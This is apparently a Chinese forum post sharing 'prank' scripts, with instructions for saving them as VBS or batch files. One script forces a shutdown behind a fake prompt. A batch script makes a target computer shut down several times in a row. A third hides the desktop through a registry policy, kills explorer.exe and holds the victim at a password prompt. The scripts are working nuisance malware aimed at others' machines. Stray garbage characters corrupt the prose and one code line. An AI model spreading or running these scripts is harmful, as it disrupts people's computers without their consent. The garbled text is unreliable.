恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了明卜，中间的字可自己改。

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 正在清旁念理系统垃圾wow ~_^",,"运槐困算你倒霉！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

加分哦

if not exist c:1.txt echo. >c:1.txt &goto err1

if not exist c:2.txt echo. >c:2.txt &goto err1

if not exist c:3.txt echo. >c:3.txt &goto err1

if not exist c:4.txt echo. >c:4.txt &goto err1

if not exist c:5.txt echo. >c:5.txt &goto err1

goto err2

:err1 shutdown -s -t 0

:err2 上面可以让对方电脑重启5次后不在渗察重启，丛桥茄当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt &goto err1那就是重启6次 改成7就是7次...

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径消尺选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

set ws = wscript.createobject("wscript.shell"吵颤旁)

if msgbox("纯属娱乐!just for fun!",4132,"绝对洞喊无毒无害!你准备好了吗?")=vbyes then

msgbox"OK!"

else

ws.popup"那也没办法!接招吧!",3

ws.popup"等会的解除密码在网盘里，自己下载,祝你愉快!",3

end if

ws.run" http://alonedu.ys168.com"

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

do

a=inputbox("请输入密码解除","注意,重启电脑是没有升橡用的!")

if a="我真笨啊" then

msgbox"密码正确!",vbinformation

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide

wscript.sleep 2000

ws.run "explorer.exe",vbhide

msgbox"解除成功!"

exit do

else

msgbox"看你不下载，密码错误!请重试 !"

end if

loop

---